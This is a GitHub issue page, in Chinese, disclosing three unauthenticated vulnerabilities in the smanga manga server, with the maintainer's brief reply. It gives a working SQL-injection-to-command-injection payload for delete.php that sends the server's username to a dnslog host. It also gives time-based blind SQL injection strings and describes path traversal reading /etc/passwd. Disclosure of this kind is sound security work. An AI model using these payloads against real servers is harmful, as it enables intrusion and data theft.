We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
docker搭建所使用的命令:
docker run -itd --name smanga \ -p 3333:3306 \ -p 8097:80 \ -v /mnt:/mnt \ -v /route/smanga:/data \ -v /route/compress:/compress \ lkw199711/smanga;
/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
Payload:
mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
payload中触发RCE的是第5个联合查询项,执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包,测试成功收到dnslog记录,且获取回显信息。
其中拼接sql语句的select方法中使用where方法将每个条件进行and分割,干扰了正常union查询的构造,所以不使用逗号,而使用join的形式绕过。
补充说明:类似的位置还有很多,均是没有对参数点进行过滤,造成多种类型的SQL注入,修复时可参考一并修复。
php/history/add.php接口处没有对mediaId、mangaId和userId三个参数进行过滤,导致拼接任意sql命令,造成sql注入,未授权的攻击者可获取数据库权限。
使用基于时间的盲注测试mediaId接口。 构造Payload分别为sleep 6秒和3秒,成功满足预期效果。
if(now()=sysdate()%2Csleep(3)%2C0)
if(now()=sysdate()%2Csleep(6)%2C0)
使用sqlmap利用测试,成功获取数据库名:
sql语句查询没有对接收的参数进行过滤。
/php/get-file-flow.php接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。
尝试读取/etc/passwd
尝试读取config.ini
没有对file参数进行过滤,导致任意文件读取。
The text was updated successfully, but these errors were encountered:
感谢提交,目前接口只认证userid,后续会增强安全流程.
Sorry, something went wrong.
No branches or pull requests
测试环境说明
docker搭建所使用的命令:
1、未授权远程代码执行
/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
Payload:
payload中触发RCE的是第5个联合查询项,执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包,测试成功收到dnslog记录,且获取回显信息。
payload中通过sql联合查询拼接自己构造的查询项,构造第5个查询项为命令注入点,即mangaPath的值,程序中删除逻辑没有对参数进行过滤,直接使用rm -rf拼接mangaPath删除,造成了命令注入。
其中拼接sql语句的select方法中使用where方法将每个条件进行and分割,干扰了正常union查询的构造,所以不使用逗号,而使用join的形式绕过。
2、未授权SQL注入
补充说明:类似的位置还有很多,均是没有对参数点进行过滤,造成多种类型的SQL注入,修复时可参考一并修复。
php/history/add.php接口处没有对mediaId、mangaId和userId三个参数进行过滤,导致拼接任意sql命令,造成sql注入,未授权的攻击者可获取数据库权限。
使用基于时间的盲注测试mediaId接口。
构造Payload分别为sleep 6秒和3秒,成功满足预期效果。
使用sqlmap利用测试,成功获取数据库名:
sql语句查询没有对接收的参数进行过滤。
3、未授权任意文件读取
/php/get-file-flow.php接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。
尝试读取/etc/passwd
尝试读取config.ini
没有对file参数进行过滤,导致任意文件读取。
The text was updated successfully, but these errors were encountered: